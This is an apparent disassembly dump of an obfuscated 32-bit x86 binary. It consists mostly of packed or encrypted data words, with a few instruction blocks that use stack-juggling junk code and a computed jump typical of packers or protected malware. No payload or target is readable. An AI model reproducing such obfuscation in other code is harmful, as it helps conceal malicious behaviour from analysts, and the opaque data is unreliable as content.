dd 151442CBh, 0D2A19AACh, 801442CBh, 4C29C717h, 942A412Dh
dd 99F2F9CAh, 16F3C187h, 464B6AFEh, 0EC9B1868h, 7B1442CBh
dd 70ED04DDh, 1442CB8Bh, 7385DE47h, 69DB2B94h, 52BD5EF2h
dd 0F4BACC8Fh, 9D314926h, 4B9B137Eh, 53714BE9h, 0CB974841h
dd 0DB3B1442h, 0AB04E069h, 2F9ADB44h, 1442A348h, 0F4449D06h
dd 29617956h, 9B67C8Eh, 1442E376h, 0B1A5E1B8h, 0E07ECEE0h
dd 19B4EC02h, 0F3AC2907h, 9F1442E3h, 84F72D2Fh, 60B99EB1h
dd 0C1FECCh, 928D0000h, 898B5020h, 3446C934h, 0E0307E11h
dd 0A6E54563h, 72AA1313h, 5CACCAA4h, 0B9CBDFBEh, 921C7897h
dd 0C632C542h, 37A013A6h, 730885E7h, 0DF13A6C6h, 0F19E6476h
dd 0EC5939F1h, 0C0FBABBCh, 0C61AE15Eh, 4FB813A6h, 0B79D623Dh
dd 703AD877h, 5A000000h, 78FCAFE8h, 62740384h, 67474D8Dh
dd 0A0E59A17h, 0D4721442h, 0BAD0AEF5h, 1A972961h, 1442A065h
dd 1D2F88F1h, 0CF9DD53Eh, 2443D7F5h, 71EE3E70h, 1442A0DEh
dd 46F32B94h, 1442E1B5h, 643FDDF5h, 63421048h, 47E4F64Fh
dd 0E2BE5C1Fh, 0E3F590C8h, 8ADAD4C0h, 42E1220Dh, 52CF3114h
dd 1442E1ADh, 0E1D6AD2Ah, 1B841442h, 704F61CAh, 56A27307h
dd 97296179h, 0F3CF1EF9h, 546E80D9h, 0ACCB5F77h, 5A36D4E3h
dd 26D0840h, 1442A07Dh, 0C71770D9h, 0A6B3404Ah, 6DA50E13h
dd 7FC79DBh, 0D313A6B4h, 9C5F586Ah, 0F713A6B4h, 0FDCB0319h
dd 8DCC0424h, 0C49F9EC6h, 0E6F74FA8h, 0A01FEBEh, 3597D878h
dd 0A6BCC3B8h, 94468013h, 6B44ED3Fh, 463DBA1Ah, 1413A6EDh
dd 0A14052ABh, 45h, 75424DCAh, 0A0E19613h, 46D1442h, 42A0E299h
dd 0AE077014h, 0C4E3C05Eh, 5A9A8F19h, 0FD358E53h, 0F5725062h
dd 13A64C3Fh, 0CA5C94FDh, 1394D2Ch, 0A05B5466h, 2713A64Eh
dd 0D12E6E16h, 6D87723h, 0EAh, 6179562Fh, 64805B29h, 18289A2Ch
dd 0FF47187h, 0CB1442A1h, 0DEDB0262h, 0D6B3CDDFh, 34FC6EBEh
dd 7D2925D8h, 8567AD6Ch, 2F9B825h, 7F5C2AF0h, 0FDDED367h
dd 561442F0h, 39512E79h, 3C583301h, 0B7106904h, 18300D23h
dd 344E2AC8h, 894F61FCh, 81D1DDB2h, 0A6F79604h, 0C75BC413h
dd 0A9A47BEDh, 719E4B93h, 5B533C5Fh, 49BA8E0Bh, 48B81440h
dd 813322AAh, 1A97E7F7h, 1B88C465h, 0DF2F88F1h, 0B64A6641h
dd 55A9C5A0h, 6237BCDCh, 0AD39BFFFh, 0E000001h, 6A801436h
dd 0C7DD7191h, 273DD1EBh, 8AA03448h, 26FF93AFh, 90AC87C0h
dd 0EE0CE6FCh, 5066445Ah, 0B1C9A6BCh, 3DBA6A1Dh, 13A94646h
dd 5640CF14h, 278D587Bh, 15CCA936h, 0DC4E28BCh, 93D7D226h
dd 2B633A9Bh, 7EC677D7h, 0AB88A2B4h, 8725FF93h, 0C15C94A8h
dd 424DDAAFh, 0A6AA1C6Ch, 0C452F362h, 0CB482638h, 13A65305h
dd 85326AD3h, 13A7A3FAh, 55044051h, 88C0DCB7h, 0FF00DBEDh
dd 99D8770Eh, 0F6081CFBh, 0A557h, 79568000h, 805B2961h
dd 0E53E5231h, 0A49F00ADh, 9B781442h, 0FCD9EF83h, 0BAD5ACE4h
dd 0A442A4F4h, 0A59EB0C6h, 13A6AB37h, 9CEFC866h, 134BA4C2h
dd 1E876678h, 8EF6CCEh, 0C613A6B4h, 0A294B5Dh, 5CD92985h
dd 1440525Bh, 0B249C628h, 201B885Bh, 5DC6A5B7h, 330DAB0Dh
dd 0EE90315h, 6D485EF2h, 263EFD51h, 71B16237h, 0B7EBh
dd 0A2C0400h, 67876076h, 0C7E1BDD3h, 2A3E1D33h, 89A58096h
dd 7DD61CF5h, 0DCF286A2h, 3A50E402h, 9CB2465Ch, 6013A7BFh
dd 474C33B0h, 0C50A13A9h, 5F7B5636h, 0C0D8B5CBh, 79565B2Ch
dd 0F9972961h, 31CC041Ch, 1028051Fh, 2604A27Ch, 0B4DBFE10h
dd 0EB2DAAFAh, 0B913A97Bh, 6D4A1850h, 89670555h, 293F6173h
dd 4FFC344Ch, 21D401A0h, 0B9A4E05Dh, 1A30C4DCh, 73D5253Dh
dd 2BF901F6h, 5264CD2Eh, 0CBDFBE8Ch, 0E800DD7Bh, 654210D6h
dd 6B47154Dh, 38B51951h, 0B7CF440Ch, 0EC243C19h, 0FF840151h
dd 5B2E2BF9h, 343E0F2h, 93273F1Ch, 5088A07Dh, 3CAh, 3E8D5900h
dd 245C7E56h, 29617956h, 2F677D5Bh, 31698761h, 346C8863h
dd 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h, 0E38953EEh
dd 4C381h, 0BF570000h, 4, 875FFB29h, 685C241Ch, 1FB3h
dd 56241C89h, 0C681E689h, 4, 4EE81h, 34870000h, 2C895C24h
dd 0DC1D6824h, 545B07EBh, 81242C8Bh, 4C4h, 4EC8100h, 89000000h
dd 458F241Ch, 242C8B08h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov ebx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_58A287
; ---------------------------------------------------------------------------
xchg dh, dl
pop ebx
and esp, eax
xor eax, 83FE8D16h
mov eax, 7EBE88Ah
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0F4h
dd 4A385DF3h, 0C20F61DFh, 89421E15h, 0B1524FB6h, 7D156785h
dd 0D929AAD1h, 0F96C9149h, 617785DDh, 0CE69FCE5h, 0BA14B672h
dd 0A832DD59h, 0DF3CCC8Fh, 0F41AD0EEh, 0B9670E82h, 1D033B2Ch
dd 8C5798D9h, 0E83BB0FCh, 0Ch, 0C3E922Ch, 0C7DC6EE4h, 7E0EA353h
dd 0C0BF0F59h, 6F54C181h, 16B00000h, 1BA668h, 850F5000h
dd 3, 5FFBBF0Fh, 0CE95Ah, 0C7C40000h, 0E107A70Bh, 1E83DEh
dd 198B61F0h, 0F381F38Bh, 2BA885E9h, 0F381C18Bh, 762EF7A3h
dd 5E9h, 98F61F00h, 0F381F825h, 6EAF9EDCh, 89F3BF0Fh, 56B46019h
dd 9E8h, 63C5AF00h, 71D07543h, 0E28A32BDh, 0E983615Bh
dd 12E68103h, 494ED7CDh, 890Fh, 0EA810000h, 1, 1D850Fh
dd 81660000h, 0E965ACCEh, 24h, 743D1D70h, 0AA398A34h, 908CC0B0h
dd 0C05EAA67h, 6601C96Ah, 0BFC4F681h, 0FFFF81E9h, 0E0235BFFh
dd 0FE8D1635h, 1EE9h, 7E008A00h, 52h, 5 dup(0)
dd 0E9000000h, 583h, 15A9CBA3h, 720626FFh, 0D266805Ch
dd 35C9DDBCh, 9428441Fh, 411C35BBh, 0A17B9125h, 0FBD9EF83h
dd 5E3B51E5h, 4FFFB246h, 0A94A2DD2h, 0D564A913h, 0ED6A7956h
dd 1442A016h, 0CA025BC4h, 710521FCh, 2E667E5Bh, 336B8360h
dd 346C8C65h, 987412D0h, 37B4467Eh, 1442A040h, 3A4CA50Eh
dd 14B2E99Dh, 0B4921E38h, 95728C9Eh, 0F5D3E97Dh, 57354BDFh
dd 0E119310Eh, 3B9DED46h, 42A039BEh, 1FF99514h, 0D52EC901h
dd 3F516F49h, 0B3D1AB79h, 0EC14F163h, 98D0E4C3h, 0FB109DFDh
dd 0A472384Ah, 0A573ABCBh, 3675ADCBh, 67B376Fh, 0A644772Fh
dd 0B93EBBC8h, 151442E2h, 274153ACh, 45E33349h, 7F1A5266h
dd 58354B6Dh, 0A15B0840h, 7E1442E2h, 26D985C1h, 0AFE05BCFh
dd 70h, 617956D8h, 0B4739F11h, 0D8738BAAh, 969F8B9h, 86981686h
dd 116A13C0h, 39371442h, 70A8BC9Bh, 7E26C3D5h, 9DC49D3Bh
dd 0C6DE39ABh, 172982BEh, 5BABC33Ch, 114E0h, 563D0000h
dd 57255D7Dh, 58265E7Eh, 77156579h, 0AE49819Bh, 0F572D69Ch
dd 0A2F5CEB1h, 0D873ABC7h, 0F8D5EB7Fh, 724CE0h, 9638623Fh
dd 39B60680h, 14421342h, 0C095A710h, 275F7B56h, 21AF795h
dd 31D2FCAh, 94D20A2Ah, 42E09BCBh, 7B164E64h, 58744F69h
dd 0B9D1AEC4h, 0D6EECB69h, 5430FEC4h, 5768023Ah, 0FC06F2Fh
dd 0A735E05Ch, 5E000000h, 275F7B56h, 2B637D59h, 3068805Dh
dd 0A05A219Eh, 8FF81442h, 1DC2503h, 0B912ADE5h, 0CA7A4381h
dd 0BFE76486h, 6E298AFCh, 4932C946h, 37A01442h, 0C765ED7h
dd 0E905E0FAh, 48643F55h, 4F634210h, 6B8561FFh, 0A7F99359h
dd 1B2DB835h, 97747571h, 53AC477Fh, 0BCE0A441h, 0E05BC773h
dd 0CFEDC765h, 721EBDh, 56470000h, 95275F7Bh, 41AC0223h
dd 39B68E2Bh, 1442F542h, 0FE4EA710h, 42F5FA81h, 0DDEF5814h
dd 97CFE5C3h, 99D1EFC9h, 5D0EDCBh, 0A1349E2Ah, 0A1DF1770h
dd 45E4ACD8h, 0C09B82C2h, 1F789871h, 7D56BA8Bh, 0D831512Ah
dd 0A009F3A0h, 0B18C1442h, 0B48F5D95h, 5F6F4491h, 0D029C56Bh
dd 0D1F1CA98h, 5FDCFE99h, 0AC696B27h, 0FD3BC4F8h, 19CE05Bh
dd 0C5000000h, 4F2D7A56h, 0DAA8E039h, 805BDEFDh, 0E1A5C110h
dd 0C2995088h, 5C39D782h, 3C183244h, 206F8E22h, 8BC13E8Eh
dd 4913A685h, 0FDDAA8E0h, 19F795E5h, 1E30CB03h, 0F109E6FCh
dd 0B08927B9h, 0ABBD5890h, 0A6E5CBB2h, 8EB63913h, 69AB28Fh
dd 0ABFB13F0h, 101BA539h, 692D972h, 37FD0F2Bh, 3C748C69h
dd 0E7135FEh, 57C91931h, 939DDBF6h, 99BBCDB3h, 77E43DC2h
dd 15E9AD8h, 92C30000h, 0ACF619F4h, 33699159h, 2CFA328Bh
dd 63FE3650h, 85A57E0Ah, 6F3F5073h, 0DE5BBD1Fh, 1442F719h
dd 413A4CB5h, 13A6E99Fh, 0A057D436h, 2E13A6D5h, 2DE7B8BEh
dd 0CB2484CAh, 3971DAB9h, 26768E6Bh, 5C94AA88h, 3D5B35C1h
dd 36586A05h, 0F32B4320h, 0F8304825h, 0CAB5F1BAh, 0E785D5EDh
dd 0C0E2F408h, 1F6C48E6h, 95CD2646h, 562DAAFAh, 413A639h
dd 51AE899Bh, 86D87778h, 57h, 0A18834A6h, 0EB5B19E9h, 444D04D9h
dd 69D1A6Ah, 546BBD5Fh, 7106B3EBh, 319442A0h, 62AF8B29h
dd 0DA126B87h, 0D4902D3Fh, 2D7D3160h, 17E9A8BBh, 7DFA96C3h
dd 94427B86h, 8092EB54h, 0C3A240A2h, 3FA49DAFh, 5BEBBD84h
dd 0E6845EF2h, 1CB7EF0Bh, 8A380Ah, 4DC70000h, 9F1C6C42h
dd 13A6B9F5h, 0E7AD2A9Ch, 3A8446FAh, 0A8E04928h, 51E5FDDAh
dd 20620577h, 46327C65h, 253D1A34h, 294040EDh, 41C413A6h
dd 77F45605h, 13A62A80h, 0B9D3E54Eh, 1130C4DCh, 63E0307Eh
dd 144DC0B2h, 0FD82FF61h, 591B92D4h, 63FFDEF0h, 0DE166F85h
dd 0CB1B3310h, 1394F2Dh, 0E13A5A33h, 3A5209CFh, 70A8BE9Ch
dd 7E26C3D5h, 0A4C49D3Bh, 9CBFD16Ch, 0EE6BBBF3h, 1C793E27h
dd 690E8BEBh, 0E503FEFEh, 0BE8F237Ch, 0FD19F492h, 0F5182AC5h
dd 47C4149Ah, 13A94A9Eh, 0D5A3DB44h, 1E90E0F8h, 494A8C15h
dd 7451DDC4h, 7789245Ch, 1DD7B55h, 0C414AFE7h, 0A953B047h
dd 0A3B51E13h, 0FC8DAC89h, 0DDA21F80h, 7913A942h, 4FFAB010h
dd 0F68D0A5Ah, 6413A92Fh, 0B452A2FBh, 0BB89C1D5h, 5B6DC6DEh
dd 0DF94E895h, 0AF6D463Ch, 0E51D3311h, 0EB9B384Ah, 0EB7F9774h
dd 90E0F8D5h, 0C4FC16F2h, 83511729h, 1DFB99A4h, 0DFE79C07h
dd 0A7349C3h, 0EBC279B1h, 0CFE7C4BBh, 0E808E17Fh, 0C19EB4D6h
dd 8EB71A9h, 71000000h, 0CCDEF6D3h, 563E8DF7h, 56245C7Eh
dd 5B296179h, 612F677Dh, 63316987h, 66346C88h, 69376F8Bh
dd 703E768Ah, 74427A94h, 0EE437B9Bh, 1EA668h, 243C8900h
dd 7B3B68h, 24348900h, 5E08950h, 4, 8704E883h, 895C2404h
dd 6852240Ch, 43DA37F2h, 0E7BF575Ah, 0D1385F19h, 47D7F7EFh
dd 0C781D7F7h, 0CDF4E6Ch, 6095C781h, 0FA21EBB2h, 5BC2815Fh
dd 89072BB6h, 8B545AD6h, 0C481240Ch, 4, 8B850h, 0C8010000h
dd 89F58955h, 0FF585D28h, 81592434h, 4C4h, 2434FF00h, 4C4815Eh
dd 0E9000000h, 0FFF88E37h, 0B926EFA0h, 0DF20E74Fh, 0B8AC1AFCh
dd 7EBEF45h, 0E0FFC503h, 767D1C6Eh, 5C1FB271h, 7D069F73h
dd 6416E351h, 0FC2C64Ah, 17F96ABDh, 4F280D5Dh, 437DB181h
dd 7077233Fh, 0C8A0395h, 0B4F820h, 7255E47Dh, 5E8h, 0A6343000h
dd 0BE9CE96h, 11000000h, 0B022FD5Eh, 0CDE4C1C8h, 6659576Dh
dd 0C181F38Bh, 0DD88h, 0A002E081h, 4BA46FCh, 8108479Fh
dd 4767C5EAh, 0BE908h, 9FEB0000h, 0DB0B6BF8h, 75AA4C6Bh
dd 5F31FF31h, 81F7B70Fh, 4E1E2EF7h, 817FB72Ch, 0FBE0E3F7h
dd 8104B074h, 7F5250C7h, 58FC500Eh, 0E9833989h, 5AC68104h
dd 4A2E068Ch, 14850Fh, 0F3800000h, 17E994h, 0E8410000h
dd 12FAB024h, 0C2E4F05Dh, 0E9F99713h, 0FFFFFFB5h, 5E24DE48h
dd 608D8D1Ah, 0F07EBF1h, 482h, 8BA6600h, 718D89D0h, 8907E41Bh
dd 0E423FD9Dh, 0A185C707h, 0B407E42Dh, 6A000071h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
dd 0C4B2C350h, 0C01F5AB0h, 0A2CCB965h, 15B503F9h, 0C707E424h
dd 0E422B985h, 7, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1604h, 0C3514100h, 0FFE5475Ch, 0E42BF1B5h
dd 0F9858907h, 0FF07E429h, 0E4306195h, 52006A07h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 4FC81E3Bh, 97AD6AFCh, 1AB5858Bh, 0BD0B07E4h, 7E42A19h
dd 95FF006Ah, 7E40E41h, 1AEBC08Bh, 498BAAA2h, 587F5FB7h
dd 0D5D099CDh, 3CCDCDC4h, 0FDEB2C2Eh, 831778EDh, 27E902E1h
dd 0B6000000h, 45D831h, 8 dup(0)
dd 66E90000h, 6000005h, 62780C2Eh, 0BFD56989h, 1F35C9E3h
dd 82982C40h, 1EF78BA7h, 88A47FD8h, 0E604DEF4h, 485E3C52h
dd 0A9C19EB4h, 35B26215h, 13A9514Eh, 9238C70Ch, 2502EC20h
dd 0BFD1C187h, 78B0C8A5h, 1FB3CFAAh, 0C4142C09h, 961EE562h
dd 53BC1442h, 0D0AD7B41h, 0D9B280B8h, 558DAD86h, 0C52961BAh
dd 44211C48h, 0F335B025h, 0E5A4DDC5h, 0F71B26B7h, 21B50E67h
dd 83172D0Bh, 14300BA9h, 1B2F0EDCh, 0B896B0C2h, 0C29C6AA2h
dd 0B74B30ADh, 9E071442h, 3E560D45h, 97A9C5A0h, 0F5D34AFAh
dd 0F714BDFh, 9748649Dh, 0AA1508E7h, 1442C8D5h, 0F107E581h
dd 0B3C51EB9h, 6CA4BC99h, 42C83DBFh, 307B5814h, 0ACE43D51h
dd 0ADE505DEh, 0ACFFA76Eh, 113FACEEh, 34368F45h, 0EE8CCF77h
dd 8C6AF614h, 76896476h, 5FE05B61h, 52h, 5B209288h, 746594FEh
dd 84617B8Dh, 0F687346Ch, 0AB144242h, 6503B6EEh, 48643F86h
dd 0E41C7510h, 0C61F3B16h, 2F26D9B4h, 1AFE05Bh, 0D8000000h
dd 255D7D56h, 0FE1AF593h, 0FF192BC6h, 0DEF6D326h, 0A07F4D85h
dd 73F0548Ch, 53734C33h, 0B4CCA9BFh, 7B564F20h, 0F795275Fh
dd 30CB0319h, 62B3C9D0h, 5174C53h, 0BAF212EBh, 0F9D4727Ch
dd 859269E6h, 0D7401442h, 97CF6C7Eh, 1DB1CDA8h, 0DA122A07h
dd 0DE16300Ch, 0A7243310h, 144285D0h, 84BC157Eh, 858E75F2h
dd 0E34C1442h, 275F7D57h, 0A5ED9970h, 54083C4Dh, 0E05BEADBh
dd 841Ch, 7B564500h, 7D59275Fh, 4AC72B63h, 2C48231Ah, 9F976ADCh
dd 6F5AA764h, 0C3613B5Dh, 0A2BC98E9h, 3E76CF6Ah, 9C7791A3h
dd 18B64880h, 53D0203Eh, 1442A9ACh, 95AFC12Ah, 0D06AA2B6h
dd 0D89F1C7Eh, 761442A9h, 265EFB0Dh, 0DEFAD573h, 1EF90BA6h
dd 0E05C0711h, 14C29C7h, 39D40C24h, 432FCEE0h, 58000000h
dd 275F7B56h, 2D657B59h, 0A29DC94Ch, 0F95BABC7h, 42A0877Ch
dd 5C864414h, 76476807h, 88AABC25h, 2A7D56B7h, 0FAD7374Bh
dd 1655A1E7h, 59063E97h, 1442F6A7h, 0D787BF7Ch, 0E05BBB28h
dd 1ADh, 7A56D600h, 7D5A2860h, 9F762D65h, 3D16B4E7h, 15F10B1Dh
dd 474867FBh, 0BAA51767h, 8610FDE9h, 9D1AF80Ah, 13A65B57h
dd 9CAD8925h, 0A65C581Fh, 348DF613h, 0F8D5A3DBh, 0B12E90E0h
dd 13A65CCAh, 0EB0D1F88h, 0A8E0F8D5h, 889F7816h, 0A65C740Bh
dd 2079E213h, 423B4DE8h, 13A65CBBh, 1F1E46C9h, 78DA2A42h
dd 0A65C04FBh, 5769D213h, 7CF95B35h, 13A65C87h, 825EEA53h
dd 5F3C5668h, 64410F47h, 0DD6144Ch, 0EA09E659h, 7C735FA6h
dd 0B90962D8h, 1224401Bh, 1CE619F0h, 72EFD877h, 18000001h
dd 0FEFC2092h, 3887CE35h, 228C0326h, 4A8B55D2h, 0E04913A6h
dd 0E5FDDAA8h, 465E3B51h, 4B63400Eh, 580CD513h, 0A0F008E5h
dd 0B23AC13Eh, 2F9813A7h, 74ACC8A3h, 0CEA5C7D9h, 0D876FF31h
dd 67A6h, 444DCF00h, 46B81A6Ah, 0B835F8A0h, 1442D3C3h
dd 6DC6268Fh, 0CFEBC6EFh, 746B6476h, 226BBD0Eh, 2FD481B9h
dd 709442F1h, 556B4992h, 0F129821Dh, 0F22A4A23h, 3D20643Bh
dd 77124A5Eh, 2A5A211Eh, 809B0D6Fh, 9144AF20h, 294037A2h
dd 0A50E9442h, 8D217093h, 0D6DBC03Dh, 0DB77EBBDh, 10ABE301h
dd 0CA5523B7h, 0E4000000h, 1C6C424Dh, 283E1CBAh, 4A4355F0h
dd 13A6B998h, 9368E547h, 3F13A6B9h, 85E5C4D6h, 0B9D1A623h
dd 147D13A6h, 0A6B9D2A9h, 4E6A4513h, 688861FDh, 0E33C9530h
dd 0B500DDABh, 0D468C1D7h, 3EC2E1BEh, 263DBBD5h, 90225AB3h
dd 0ECFE14F2h, 0A608F7F3h, 0B0F47713h, 552AA709h, 113A609h
dd 8F6C8698h, 70089770h, 5F1AAB41h, 0A3393DBh, 5A107038h
dd 4E427337h, 1C3BCF28h, 102E0873h, 0EFC967B7h, 0ECFE99D1h
dd 0CD4AAC0Eh, 13A60336h, 30293BA4h, 144DF2CBh, 0ED0EEA88h
dd 6E48ED75h, 6DA5FECEh, 78E1C0D2h, 7D957240h, 8FB78E45h
dd 56A60887h, 7936A2D9h, 0C1BF311Ch, 0C24D387Ah, 72FA06B6h
dd 750E312h, 19AD16F5h, 6C424D48h, 411CBA1Ch, 4052ED25h
dd 0A9513047h, 0A42E9E13h, 0D4F4CDD6h, 30A1019Ch, 0E1197222h
dd 8A1E3613h, 1B43EB0h, 18A0C629h, 0F70FEC06h, 495012BFh
dd 8F4D519Ah, 0E9FB15F1h, 4825184Ch, 0A9869C30h, 0AC8B5991h
dd 0D2A96098h, 0B6CEAB92h, 0D4EAC866h, 0CDEF019Ch, 8AC2DAB7h
dd 657D5AF8h, 38153h, 8D100000h, 5C7E563Eh, 61795624h
dd 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h, 768A6937h
dd 7A94703Eh, 7B9B7442h, 8950EE43h, 405E0h, 42D0000h, 87000000h
dd 895C2404h, 0D682414h, 89000052h, 29682414h, 8900006Fh
dd 0B850243Ch, 23167CFh, 0CD24A1BAh, 58C23142h, 8106EAC1h
dd 224B33EAh, 14CA8177h, 811DF94Eh, 0F201D2C2h, 32396869h
dd 24890000h, 24048324h, 13685F04h, 89000021h, 478F2414h
dd 243C8B08h, 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch
dd 815A2434h, 4C4h, 86F5E900h, 0CD4FFFF8h, 0CF6957B6h
dd 0DA2D9145h, 0F506C799h, 0F683B816h, 0C50307EBh, 8CF2E0FFh
dd 6DA21F9Bh, 0F12E1345h, 797A088Ch, 56317791h, 735F7EA1h
dd 0BF493B8Dh, 67137B54h, 0D6447F84h, 0C441334Dh, 0E3BF0AFAh
dd 7563720Bh, 0BF3D5EB7h, 0BA6A7448h, 93A40894h, 40E53A4Ch
dd 0EC63571h, 3AF102B0h, 690561BAh, 537B5060h, 0F2387426h
dd 0EB0A6463h, 213655C3h, 7C67301Dh, 0AEA06126h, 78612A73h
dd 4BF759B1h, 0D26C7E55h, 0DE8502Bh, 63000000h, 0F7E443C4h
dd 0C58D67F9h, 0AEFF6E19h, 0F3816660h, 586134FCh, 9E8h
dd 72AA7300h, 358133C8h, 0BA6647FDh, 815EF3F5h, 66BFC0h
dd 850F00h, 0BF000000h, 7EF9DFFh, 7B8AC781h, 800FF810h
dd 4, 698CB966h, 8B66188Bh, 9DC381D3h, 0E815C80Dh, 9, 985D6A0Ch
dd 8804E5B2h, 0EB81594Ah, 44F149B9h, 10D4C381h, 810F2BDCh
dd 3, 89D2B70Fh, 29B96618h, 0BAE88154h, 6657C2C4h, 0C081F28Bh
dd 57C2C4B6h, 81F18B66h, 1EFh, 0AD850F00h, 0FFFFFFFh, 0ECE9C9BFh
dd 0
dd 37000000h, 37C8106h, 587C81CEh, 57C80C0h, 0ED7C9010h
dd 7C9010h, 276F200h, 5 dup(0)
dd 0A0000000h, 7C80ADh, 2Bh dup(0)
dd 6000000h, 14000000h, 0A11611EDh, 92CA11A2h, 6C21E4DBh
dd 4D471561h, 2B07A8E5h, 65321282h, 361457Fh, 4023ADA6h
dd 0A7BB1566h, 16D6011Fh, 61C288EBh, 97CD1280h, 9FB14D3Dh
dd 16D61C53h, 0D8256166h, 4023AD35h, 0A7BB1566h, 16D6011Fh
dd 6EED88EBh, 97CD1280h, 0A63D4D3Dh, 11321561h, 7E99506h
dd 0AD53C0ECh, 22321576h, 926A205Ch, 8BBA96D6h, 6380C755h
dd 0B19F7BB1h, 98F19C35h, 0AC2E9EBEh, 0B836D1E5h, 0DA66A8E5h
dd 1E32128Dh, 88324DE2h, 43B71A66h, 2D321566h, 113214E5h
dd 0DBFED66h, 43D97385h, 22339569h, 0EECB1566h, 7CB875B6h
dd 0B2F99400h, 0A83D749Ah, 11321571h, 8832078Fh, 0DB0BCC66h
dd 0A37A7C40h, 8F8F701Ah, 0EB8FBD0Eh, 0C9A4E2DDh, 0C95506E3h
dd 90547561h, 98621B4h, 0F576E4ADh, 0F2CD745Bh, 3CB7D39Eh
dd 0DE35F14Ah, 43BF1A9Eh, 2D321566h, 113214ECh, 0DA5AEC66h
dd 0B1AEBDDEh, 373A099h, 1E521282h, 8752D3D9h, 443215EAh
dd 4348A666h, 0B6B79807h, 0E835F2D6h, 0B8E59E00h, 42E2EA07h
dd 11349D69h, 66B31566h, 13A595Ah, 0DA53B1D6h, 84390EFh
dd 0EE521282h, 4EDBDFEDh, 2A321566h, 42561424h, 5FAA7DC8h
dd 0C93D74FFh, 2232157Dh, 113DFC06h, 68411566h, 0F165B7C3h
dd 38224A3h, 51FAEC18h, 6FB37304h, 835338C4h, 0C63F2CE3h
dd 11321561h, 82B91A66h, 24321566h, 22329B69h, 70521566h
dd 0A5B7D307h, 135F14Ah, 4B5B7D9Eh, 1DB9B14h, 0D321566h
dd 1B7A7228h, 9B3496E0h, 739B4C89h, 77448C2Dh, 0A03388D3h
dd 0EBB37561h, 56C4C83Fh, 54B79807h, 0AD35F15Dh, 2232156Fh
dd 0FFA0E9F1h, 3849A816h, 0ADE2EA6Dh, 2232156Bh, 0BD7A5D3h
dd 1B0FB77Dh, 97A6FB68h, 0A3B79C49h, 0E835F174h, 0A41F90A0h
dd 4B711282h, 223214EDh, 4F5AED66h, 61AE720Dh, 4432156Eh
dd 56340133h, 0D5461821h, 89AFA099h, 0CE521282h, 0C2E19480h
dd 7072A258h, 88321F8Fh, 0C24CB166h, 7D9C151Ah, 9CFC00CAh
dd 6C09C9E3h, 4CB81A61h, 2D321566h, 113217EAh, 61537566h
dd 44321560h, 7B30D458h, 0C1CD3260h, 883C9F69h, 4B521566h
dd 223215EDh, 8BDA9466h, 0E9673664h, 0BC0E90EFh, 2DDB128Dh
dd 0EA321566h, 0DD6D7863h, 6E0FB63Eh, 0BF976ABh, 94F446E5h
dd 8FD6394Bh, 4439FC32h, 0CFF51566h, 0BE820AACh, 63495B37h
dd 2C1B7D94h, 0DDCBFB04h, 0F53388D3h, 0DBFED61h, 43D62EBAh
dd 22299469h, 90521566h, 0AD2120AEh, 443CFC2Ah, 31C61566h
dd 0FDCCF927h, 0DA38F9EBh, 0D7740173h, 2DBF1A07h, 0F8321566h
dd 8832156Ch, 0C90161B4h, 697971DFh, 0C1CDD886h, 88321F8Fh
dd 5BA3B266h, 7B8997h, 98D31CE2h, 63CA55E3h, 0C1F4E061h
dd 25D6394Bh, 3B31A23h, 87321566h, 443219EAh, 2235FC66h
dd 3BBE1566h, 555B4000h, 7CF07D80h, 29DBCF06h, 0AA321566h
dd 0FC090C3Eh, 0A3120A1Ch, 97CDE64Dh, 16D614FBh, 88339F69h
dd 0C9CE1566h, 0C609C9E3h, 13B41A61h, 0E8321566h, 24E2EA07h
dd 2232048Eh, 0F2469766h, 12265CB0h, 24066FE5h, 466A952Bh
dd 0FFB2639Eh, 9544BE9h, 25BCB391h, 0DA7690EFh, 1E52128Dh
dd 954DAD1h, 25F3C385h, 227A8E5h, 1E321282h, 883314E3h
dd 4CBA1A66h, 2D321566h, 113217EDh, 4E537566h, 0A01E38E3h
dd 36DB5061h, 0BF321566h, 2BEC145Ah, 9D15410Dh, 88ED4B45h
dd 396B29C0h, 749F3844h, 644C930Eh, 97CDED9Ch, 16D614FBh
dd 80BC1A9Ah, 24321566h, 22329869h, 9C531566h, 6C09C9E3h
dd 4BCA7561h, 223210E7h, 7F17AC66h, 77531AA4h, 0C1BBE0B6h
dd 25D9ED2Eh, 11321E8Fh, 56556166h, 0ABC690EFh, 0D2E1524Ch
dd 3D1F90A0h, 707E1282h, 62E2D60Eh, 3BB31A86h, 0F8321566h
dd 88321572h, 0C4639CC4h, 1D9F57DAh, 45393387h, 45D161h
dd 0D3EB5681h, 23AFA099h, 983D1282h, 8832156Bh, 44321D8Fh
dd 96F93566h, 0D7DFD04h, 0DBFED7Ah, 43D62EBAh, 23B41A9Ah
dd 0E4321566h, 0EE52C599h, 0E6ACF4E7h, 6EB79C07h, 0F835FE9Eh
dd 88321569h, 7183A413h, 4492234Bh, 104EA845h, 61C96378h
dd 44321460h, 223A9D69h, 913D1566h, 88321564h, 0C1F47406h
dd 25D6394Bh, 16B61A34h, 87321566h, 443214EDh, 2F5AEC66h
dd 0E48E5F82h, 0AA67A099h, 57DB1282h, 3B321566h, 2173FA77h
dd 5FCC6C09h, 0F7713449h, 5963C706h, 973DBBF2h, 88321561h
dd 4B537506h, 0AF53C6D1h, 0F509C9E3h, 83B91A61h, 0AD321566h
dd 22321560h, 7BDDA110h, 81DBFED8h, 25321566h, 0DFDFB5A5h
dd 2D369CA9h, 1C7C599h, 0AFCA5DE3h, 0A7F4EC61h, 16D6394Bh
dd 48897534h, 0CF50DDBEh, 6A5A74B5h, 1E94592Ch, 883214E9h
dd 0F1CDE966h, 25D63733h, 1132188Fh, 1092966h, 0AEAA309Eh
dd 0A349D966h, 94BFA9CBh, 8FD62EBAh, 443DFC9Ah, 9B051566h
dd 0D9E62168h, 0B44A39B3h, 4807A34Dh, 42E2EAC3h, 14B01A9Ah
